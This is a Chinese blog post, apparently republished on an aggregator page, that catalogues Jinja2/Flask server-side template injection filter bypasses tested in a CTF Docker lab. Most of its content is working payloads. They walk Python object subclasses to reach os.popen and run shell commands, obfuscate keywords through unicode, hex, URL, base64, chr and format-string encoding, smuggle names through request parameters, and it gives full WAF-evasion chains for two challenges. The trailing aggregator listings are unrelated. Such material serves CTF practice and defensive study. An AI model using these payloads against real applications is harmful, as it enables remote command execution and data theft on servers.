SSTI 绕过方法总结

2023-11-12

SSTI 绕过方法总结

学习绕过的重点是掌握一个技术的使用方法。

这其中的许多方法,看起来好像就那样,但是实验起来,就会发现哪哪都碰壁 (┬┬﹏┬┬)

针对不同的过滤情况,我们可以先构造一个常规的 payload,然后再根据实际情况进行改造绕过。这个常规 payload ,在我看来一定要简洁。当然还必须得实际有效。

本文重点在于绕过方法的讨论,不会涉及脚本等其他实战可能用到的内容,payload 中的索引值直接给出。

测试环境:docker 靶场 mcc0624/flask_ssti:last


一、绕过方法

0x01 索引绕过

对于列表和字典,有时一些过滤会导致不能直接用 . [] 取到其中的值。

1. 魔术方法 __getitem__()

对列表和字典使用,参数为键名或数字索引,可以绕过中括号过滤。

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}
2. 过滤器 pop()

对列表和字典使用,参数为键名或数字索引,可以绕过同时过滤中括号和 __getitem__。但是这个方法实测会破坏环境,只能用一次。

3. 中括号 []

对列表和字典使用,参数为键名或数字索引。可绕过点 . 过滤。

事实上,许多时候它会被过滤。

# 原 payload
{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{''['__class__']['__base__']['__subclasses__']()['__getitem__'](199)['__init__']['__globals__']['__getitem__']('os')['popen']('cat flag')['read']()}}

请添加图片描述

0x02 关键字符绕过

1. flask 对象 request
方法 说明
request.args.key 获取 get 请求的参数
request.form.key 获取 post 请求的参数
request.headers.key 获取请求头的参数
request.cookies.key 获取 cookie 的参数
request.data 获取请求体原始数据
request.json 获取请求体的 json 数据
request.values.key 获取 get 和 post 请求的参数
ps: key 为参数名
  • eg1: request.args

url

http://xxx/flaskBasedTests/jinja2/?os=os&cmd=cat flag

post

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.args.os).popen(request.args.cmd).read()}}

请添加图片描述

  • eg2: request.form

post

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.form.os).popen(request.form.cmd).read()}}&os=os&cmd=cat flag
  • eg3: request.cookies

post

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.cookies.os).popen(request.cookies.cmd).read()}}

cookie

# cookie 传入
os=os;cmd=cat flag

实测发现 cookie 方法传参时最好在 BurpSuite 中改包,我在使用低版本的 HackBar 时会出现 cookie 传参失败的情况(Cookie 值仍为原来的 PHPSESSID )。

2. 过滤器
过滤器 说明 eg
attr() 获取对象的属性 attr('__class__')
length,count 返回字符串的长度,可绕过数字过滤 'test'|length
reverse 将字符串反转 'test'|reverse
replace 将字符串中的某个字符替换为另一个字符 clear|reverse('c','q')
join 将序列中的参数值拼接为字符串,常与 python 内置 dict() 配合使用 dict(ha=1,ppy=1)|join
list 将对象转换为列表 'string'|list
lower 将字符串转换为小写 'CTF'|lower
upper 将字符串转换为大写 'ctf'|upper
string 将对象转换为字符串 lipsum|string

过滤器可以链式调用,如 ''|attr('__class__')|attr('__base__')|string|length 将返回字符串 <class 'object'> 的长度 16。

  • eg1:
# reverse
{%set a='__ssalc__'|reverse%}{{''[a]}}
# replace
{%set a='**c1422**'|replace('1422','lass')|replace('**','__')%}{{''[a]}}
  • eg2:
# 如果是过滤了数字,__subclasses__ 后选取的数字可以用 length 绕过
{%set i='abcdefghij'|length*'abcdefghij'|length*'ab'|length-'a'|length%}{{''.__class__.__base__.__subclasses__().__getitem__(i).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}
  • eg3:

过滤器 attr 配合 request 方法绕过

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen("ls -l /opt").read()}}
# 用 hackbar 或者 burpsuite 注入
name={{()|attr(request.form.cla)|attr(request.form.ba)|attr(request.form.sub)()|attr(request.form.ge)(199)|attr(request.form.in)|attr(request.form.glo)|attr(request.form.ge)(request.form.os)|attr(request.form.po)(request.form.cmd)|attr(request.form.re)()}}&cla=__class__&ba=__base__&sub=__subclasses__&ge=__getitem__&in=__init__&glo=__globals__&po=popen&re=read&os=os&cmd=cat flag

这里的过滤假定的是仅过滤了 POST 参数 name,其他参数未过滤。如果过滤了所有 POST 参数,则可以考虑请求头参数和 GET 参数。

需要注意的是 payload 中的参数名不能是一些 python 中的关键字,比如 getpop 等都是不行的。如果 payload 未成功执行,检查一下参数名是否含关键字。

3. 字符编码

unicode、url、16进制 hex、base64、chr()、格式化字符串

eg:

  • unicode
# 原 payload
{{().__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(request.form.os)|attr(request.form.po)(request.form.cmd)|attr(request.form.re)()}}&po=popen&re=read&os=os&cmd=cat flag
  • url
# 原 payload
{{().__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{().%5f%5f%63%6c%61%73%73%5f%5f.%5f%5f%62%61%73%65%5f%5f.%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f().%5f%5f%67%65%74%69%74%65%6d%5f%5f(199).%5f%5f%69%6e%69%74%5f%5f.%5f%5f%67%6c%6f%62%61%6c%73%5f%5f.%5f%5f%67%65%74%69%74%65%6d%5f%5f('%6f%73').%70%6f%70%65%6e('%63%61%74%20%66%6c%61%67').%72%65%61%64()}}
  • 16进制
# 原 payload
{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()["\x5f\x5fgetitem\x5f\x5f"](199)["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fgetitem\x5f\x5f"]('os').popen('cat flag').read()}}
  • base64

python2 环境适用,靶场未实验成功(根据陈老师的解释,似乎需要 python2 的环境)。
python3 中解码 Base64 时需要先将字符串转换为 bytes 类型,再进行解码。

# python 3
import base64
print(str(base64.b64decode('X19jbGFzc19f'.encode("utf-8")), "utf-8"))
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(199)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr("read")()}}
  • python chr()(ascii)

偷个懒,聪明的你肯定能构造出完整的 paylaod。

{{''['__class__']}}
# 从内置函数中获取 ascii 解码功能并赋值给 chr
{%set chr=url_for.__globals__['__builtins__'].chr%}{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
  • 格式化字符串(ascii)
# 原 payload
{{().__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{()|attr("%25c%25cclass%25c%25c"%(95,95,95,95))|attr("%25c%25cbase%25c%25c"%(95,95,95,95))|attr("%25c%25csubclasses%25c%25c"%(95,95,95,95))()|attr("%25c%25cgetitem%25c%25c"%(95,95,95,95))(199)|attr("%25c%25cinit%25c%25c"%(95,95,95,95))|attr("%25c%25cglobals%25c%25c"%(95,95,95,95))|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
4. 字符拼接
  • Python + 字符拼接
{{''['__cla'+'ss__']}}
  • Jinja2 ~ 字符拼接
{%set a='__cla'%}{%set b='ss__'%}{{''[a~b]}}
  • python 内置 dict()

配合过滤器 join 使用。dict() 用于创建一个字典,join 用于连接字典的键名生成字符串。可以绕过引号过滤。

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
{%set a=['__cla','ss__']|join%}{{()[a]}}
  • 内置函数 & 对象 的返回字符拼接

可以利用的 flask 内置函数和对象有:lipsum self app.__doc__ {}|select() config url_for
利用上面这些对象或者函数,将其返回值转换为字符串,再转换为列表。这个列表中将含有我们想要的字符,直接 [] 取索引值或者 pop() 方法返回特定索引的值。

{{lipsum|string|list}}
{{self|string|list}}
{{self|string|urlencode|list}}
{%set a=(self|string|urlencode)[0]%}{{a}}
{%set a=({}|select()|string())|list%}{{a}}
...

请添加图片描述
请添加图片描述
请添加图片描述

jinja2 的 string() 过滤器可以将对象转换为字符串,list() 过滤器可以将对象转换为列表,urlencode() 过滤器可以将字符串转换为 url 编码。
app.__doc__ 的意思是对 app 对象调用 __doc__ 方法,返回一个字符串。
{}|select() 的意思是对空字典调用 select() 方法,返回一个 select 对象。

通过这种方法,我们几乎可以取到所有被过滤的字符。

二、综合绕过实战

Challenge 1

WAF 过滤:' " . + request [ ]

# 原 payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

payload
较长的 payload 改造时建议先分行,然后再合并,就像下面这样。

{%set a=dict(__cla=1,ss__=2)|join%}
{%set b=dict(__bas=1,e__=2)|join%}
{%set c=dict(__subcla=1,sses__=2)|join%}
{%set d=dict(__in=1,it__=2)|join%}
{%set e=dict(__glo=1,bals__=2)|join%}
{%set f=dict(__geti=1,tem__=2)|join%}
{%set g=dict(po=1,pen=2)|join%}
{%set s=lipsum|string|list|attr(f)(9)%}
{%set p=(dict(cat=1)|join,s,dict(flag=1)|join)|join%}
{%set r=dict(re=1,ad=2)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(f)(117)|attr(d)|attr(e)|attr(f)(g)(p)|attr(r)()}}

{%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__subcla=1,sses__=2)|join%}{%set d=dict(__in=1,it__=2)|join%}{%set e=dict(__glo=1,bals__=2)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%set g=dict(po=1,pen=2)|join%}{%set s=lipsum|string|list|attr(f)(9)%}{%set p=(dict(cat=1)|join,s,dict(flag=1)|join)|join%}{%set r=dict(re=1,ad=2)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(f)(117)|attr(d)|attr(e)|attr(f)(g)(p)|attr(r)()}}

Challenge 2

WAF 过滤:' " _ 0-9 . [ ] \ space

{{lipsum|string|list}} 可以得到 空格(9) 和 下划线(18)。

用下面的方法可以拿到数字

{%set n=dict(aaaaaaaaa=a)|join|count%}{%set e=n+n%}{{n,e}}
实测发现上面的 exp 会报 code500 错误(不支持 + 运算?),得用下面这个
{%set n=dict(aaaaaaaaa=a)|join|count%}{%set t=dict(aa=a)|join|count%}{%set e=n*t%}{{n,e}}

得到 空格 和 下划线

# 空格
{%set s=lipsum|string|list|attr('pop')(9)%}{{s}}
# 下划线
{%set x=lipsum|string|list|attr('pop')(18)%}{{x}}

payload

受制于这道题的过滤,只能使用 pop() 方法,此方法会将 列表/字典 的值弹出,这个过程不可逆。所以注入需谨慎,否则需要重启环境。

# 原 payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

{%set n=dict(aaaaaaaaa=a)|join|count%}{%set th=dict(aaaaaaaaaaaaa=a)|join|count%}{%set t=dict(aa=a)|join|count%}{%set e=n*t%}{%set num=n*th%}{%set p=dict(pop=p)|join%}{%set s=lipsum|string|list|attr(p)(n)%}{%set x=lipsum|string|list|attr(p)(e)%}{%set r=dict(re=a,ad=a)|join%}{%set c=(x,x,dict(cla=a,ss=a)|join,x,x)|join%}{%set ba=(x,x,dict(ba=a,se=a)|join,x,x)|join%}{%set sub=(x,x,dict(subcla=a,sses=a)|join,x,x)|join%}{%set i=(x,x,dict(in=a,it=a)|join,x,x)|join%}{%set g=(x,x,dict(glo=a,bals=a)|join,x,x)|join%}{%set po=dict(po=a,pen=a)|join%}{%set pa=(dict(cat=a)|join,s,dict(flag=a)|join)|join%}{%set re=dict(re=a,ad=a)|join%}{{()|attr(c)|attr(ba)|attr(sub)()|attr(p)(num)|attr(i)|attr(g)|attr(p)(po)(pa)|attr(re)()}}

总结并实测绕过方法时对于我来说委实是一件费脑的事情,如果各位发现文中 理解及payload 有误,亦或者你在实测时发现有问题,你有不明白的地方,欢迎讨论,我们一起学习!

By QING

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SSTI 绕过方法总结 的相关文章

  • 如何在python中读取多个文件中的文本

    我的文件夹中有许多文本文件 大约有 3000 个文件 每个文件中第 193 行是唯一包含重要信息的行 我如何使用 python 将所有这些文件读入 1 个文本文件 os 模块中有一个名为 list dir 的函数 该函数返回给定目录中所有文
  • 如何在刻度标签和轴之间添加空间

    我已成功增加刻度标签的字体 但现在它们距离轴太近了 我想在刻度标签和轴之间添加一点呼吸空间 如果您不想全局更改间距 通过编辑 rcParams 并且想要更简洁的方法 请尝试以下操作 ax tick params axis both whic
  • 将字符串转换为带有毫秒和时区的日期时间 - Python

    我有以下 python 片段 from datetime import datetime timestamp 05 Jan 2015 17 47 59 000 0800 datetime object datetime strptime t
  • 使用 openCV 对图像中的子图像进行通用检测

    免责声明 我是计算机视觉菜鸟 我看过很多关于如何在较大图像中查找特定子图像的堆栈溢出帖子 我的用例有点不同 因为我不希望它是具体的 而且我不确定如何做到这一点 如果可能的话 但我感觉应该如此 我有大量图像数据集 有时 其中一些图像是数据集的
  • Flask_login - 当前用户

    我正在使用烧瓶登录我的烧瓶应用程序中的扩展用于登录用户 您必须知道 此扩展有一个变量 用于存储当前用户 除了测试之外 该代码运行良好 当我测试代码时 使用unittest 我注册了一个 测试用户 并登录 但是当前用户变量不保留登录的用户 这
  • 如何等到 Excel 计算公式后再继续 win32com

    我有一个 win32com Python 脚本 它将多个 Excel 文件合并到电子表格中并将其另存为 PDF 现在的工作原理是输出几乎都是 NAME 因为文件是在计算 Excel 文件内容之前输出的 这可能需要一分钟 如何强制工作簿计算值
  • 从 scikit-learn 导入 make_blobs [重复]

    这个问题在这里已经有答案了 我收到下一个警告 D Programming Python ML venv lib site packages sklearn utils deprecation py 77 DeprecationWarning
  • keras加载模型错误尝试将包含17层的权重文件加载到0层的模型中

    我目前正在使用 keras 开发 vgg16 模型 我用我的一些图层微调 vgg 模型 拟合我的模型 训练 后 我保存我的模型model save name h5 可以毫无问题地保存 但是 当我尝试使用以下命令重新加载模型时load mod
  • 运行多个 scrapy 蜘蛛的正确方法

    我只是尝试使用在同一进程中运行多个蜘蛛新的 scrapy 文档 http doc scrapy org en 1 0 topics practices html但我得到 AttributeError CrawlerProcess objec
  • 从列表中的数据框列中搜索部分字符串匹配 - Pandas - Python

    我有一个清单 things A1 B2 C3 我有一个 pandas 数据框 其中有一列包含用分号分隔的值 某些行将包含与上面列表中的一项的匹配 它不会是完美的匹配 因为它在其中包含字符串的其他部分 该列 例如 该列中的一行可能有 哇 这里
  • Python:字符串不会转换为浮点数[重复]

    这个问题在这里已经有答案了 我几个小时前写了这个程序 while True print What would you like me to double line raw input gt if line done break else f
  • Geopandas 设置几何图形:MultiPolygon“等于 len 键和值”的 ValueError

    我有 2 个带有几何列的地理数据框 我将一些几何图形从 1 个复制到另一个 这对于多边形效果很好 但对于任何 有效 多多边形都会返回 ValueError 请指教如何解决这个问题 我不知道是否 如何 为什么应该更改 MultiPolygon
  • HTTPS 代理不适用于 Python 的 requests 模块

    我对 Python 还很陌生 我一直在使用他们的 requests 模块作为 PHP 的 cURL 库的替代品 我的代码如下 import requests import json import os import urllib impor
  • 如何将 numpy.matrix 提高到非整数幂?

    The 运算符为numpy matrix不支持非整数幂 gt gt gt m matrix 1 0 0 5 0 5 gt gt gt m 2 5 TypeError exponent must be an integer 我想要的是 oct
  • 在 Pandas DataFrame Python 中添加新列[重复]

    这个问题在这里已经有答案了 例如 我在 Pandas 中有数据框 Col1 Col2 A 1 B 2 C 3 现在 如果我想再添加一个名为 Col3 的列 并且该值基于 Col2 式中 如果Col2 gt 1 则Col3为0 否则为1 所以
  • 对输入求 Keras 模型的导数返回全零

    所以我有一个 Keras 模型 我想将模型的梯度应用于其输入 这就是我所做的 import tensorflow as tf from keras models import Sequential from keras layers imp
  • 在python中,如何仅搜索所选子字符串之前的一个单词

    给定文本文件中的长行列表 我只想返回紧邻其前面的子字符串 例如单词狗 描述狗的单词 例如 假设有这些行包含狗 hotdog big dog is dogged dog spy with my dog brown dogs 在这种情况下 期望
  • Spark.read 在 Databricks 中给出 KrbException

    我正在尝试从 databricks 笔记本连接到 SQL 数据库 以下是我的代码 jdbcDF spark read format com microsoft sqlserver jdbc spark option url jdbc sql
  • Python:元类属性有时会覆盖类属性?

    下面代码的结果让我感到困惑 class MyClass type property def a self return 1 class MyObject object metaclass MyClass a 2 print MyObject
  • Pandas 与 Numpy 数据帧

    看这几行代码 df2 df copy df2 1 df 1 df 1 values 1 df2 ix 0 0 我们的教练说我们需要使用 values属性来访问底层的 numpy 数组 否则我们的代码将无法工作 我知道 pandas Data

随机推荐

  • 服务器硬件测试选型

    面对琳琅满目的服务器硬件品牌和五花八门的硬件型号规格 如何选择高性价比的硬件配置 是系统运维的一项重要工作 系统工程师需要根据产品线的不同需求 测试服务器的各项性能以及功耗 同时结合成本确定出性价比最高的服务器配置 因此 硬件测试便成为了服
  • U-Boot 学习

    相关概念 参考文章 u boot FIT image介绍 wowotech net X 010 UBOOT 使用booti命令启动kernel Bubblegum 96平台 wowotech net FDT device tree 全称是f
  • SHELL入门学习

    SHELL SHELL 入门学习 shell 变量 shell echo shell printf shell test shell if then shell While shell function SHELL 入门学习 shell 变
  • 1.[springMvc]Servlet的基础知识

    Servlet的基础知识 servlet是啥 Servlet运行流程 示例 Servlet GenericServlet HttpServlet ServletContext Filter servlet映射器 servlet是啥 Java
  • 联合概率、边际概率、条件概率

    一时忘了联合概率 边际概率 条件概率是怎么回事 回头看看 某离散分布 联合概率 边际概率 条件概率的关系 其中 Pr X x Y y 为 XY的联合概率 Pr X x 为 X的边际概率 Pr X x Y y 为 X基于Y的条件概率 Pr Y
  • Openwrt编译报错 TCP Fast Open is not available for client mode 的解决办法

    报错信息 configure error TCP Fast Open is not available for client mode please rerun without enable tfo client gmake 3 Makef
  • Python安装教程步骤2:Windows中创建虚拟环境安装Pytorch并在PyCharm中配置虚拟环境

    python安装教程步骤2 windows中Anaconda创建虚拟环境安装pytorch并在pycharm中使用虚拟环境 作者介绍 windows中Anaconda创建虚拟环境安装pytorch 1 添加镜像源 2 创建虚拟环境 3 进入
  • ubuntu16.04详细安装pytorch(GPU)

    安装pytorch要安装两个模块 torch和torchvision torch是主模块 用来搭建神经网络 torchvision是辅模块 里面有搭建好的网络可以直接用 1 安装pip3 ubuntu自带python3 5和2 7 所以没装
  • linux 设置静态 ip 或者 修改 DNS

    设置 linux 静态 ip 或者 添加DNS preface 操作步骤 1 执行命令 nmtui 2 确认设置是否成功 supplements 3 1 linux 中 子网掩码的表示 3 2 DNS 和 ip 设置 3 3 DHCP 协议
  • Ribbon负载均衡(一)Ribbon实战

    Ribbon实战 文章目录 Ribbon实战 1 注册中心 1 1 服务注册到注册中心 1 2 服务注册列表Ribbon负载均衡选取相应节点 2 负载均衡方案 2 1 集中式负载均衡 2 2 进程内聚在均衡 3 Ribbon实践 3 1 配
  • Onvif协议学习:14、球机云台控制PTZ

    Onvif协议学习 14 球机云台控制PTZ 文章目录 Onvif协议学习 14 球机云台控制PTZ 一 介绍 二 代码实现 八个方向 放下及缩小控制 聚焦控制 原文链接 https blog csdn net u013566528 art
  • 步进电机原理及驱动

    这里把步进电机的资料做个整合 文章目录 步进电机是什么 原理 定子 定子的种类 转子及其种类 工作方式 单拍方式 双拍方式 单双拍方式 通电方式 驱动器 驱动程序 步进电机是什么 什么是步进电机 步进电机是将电脉冲信号 转变为角位移或线位移
  • Nginx概念及应用

    Nginx 一 反向代理 概念 反向代理服务器位于用户与目标服务器之间 但是对于用户而言 反向代理服务器就相当于目标服务器 即用户直接访问反向代理服务器就可以获得目标服务器的资源 同时 用户不需要知道目标服务器的地址 也无需在用户端做任何设
  • 2023年2月浙江省中小企业协会与各专委会大事记

    1 1月13日上午 协会领导蔡章生带队走访国家绿色技术交易中心 调研绿色技术创新工作 与国家绿色技术交易中心副主任贺沛宇 中教能源研究院黄刚院长 线上视频参会 项目主管郦剑飞等进行座谈 研究推进 双碳 产业 EATNS碳管理体系建设以及节能
  • 计算机网络知识点总结——第二章物理层

    第二章 物理层 一 概述 重点概念 二 数据通信 一 数据模型 二 数据通信相关术语 三 三种通信方式 四 数据传输方式 五 同步传输 异步传输 六 小节脑图 七 码元 八 数字通信系统数据传输速率 码元传输速率 码元速率 波形速率 调制速
  • 知识体系之MySQL

    目录 前言 1 一条select是怎么执行的 1 1 连接器 1 1 1 连接器的工作 1 1 2 长 短连接 1 2 查询缓存 1 3 解析器 1 4 执行SQL 1 4 1 预处理器 1 4 2 优化器 1 4 3 执行器 2 一条up
  • mysql有numeric类型吗_mysql数值类型 - numeric

    本文介绍php出现Warning A non numeric value encountered问题 用实例分析出现这种错误的原因 并提供避免及解决问题的方法
  • Codeforces 1634 F. Fibonacci Additions —— 斐波那契数列加,想法

    This way 题意 给你长度为n的数组a和数组b 每次会有一个操作 x l r 如果x是A表示在数组a上进行操作 否则是b l r表示将区间 l r 的数一一对应加上斐波那契数列 1 r l 1 的数 问你最后a和b是否相等 题解 斐波
  • 【建议收藏】新到手的电脑Windows10/11系统优化、使用规范和技巧及软件推荐,提升范电脑性能和体验

    目录 一 了解电脑 1 查看电脑和系统的基本信息 2 电脑测评 二 Windows10 11系统优化及设置 1 控制面板 回收站等桌面图标显示设置 2 任务栏管理 3 桌面图标排列 4 卸载程序 5 关闭P2P分享 传递优化 6 电设置脑为
  • SSTI 绕过方法总结

    SSTI 绕过方法总结 学习绕过的重点是掌握一个技术的使用方法 这其中的许多方法 看起来好像就那样 但是实验起来 就会发现哪哪都碰壁 针对不同的过滤情况 我们可以先构造一个常规的 payload 然后再根据实际情况进行改造绕过 这个常规 p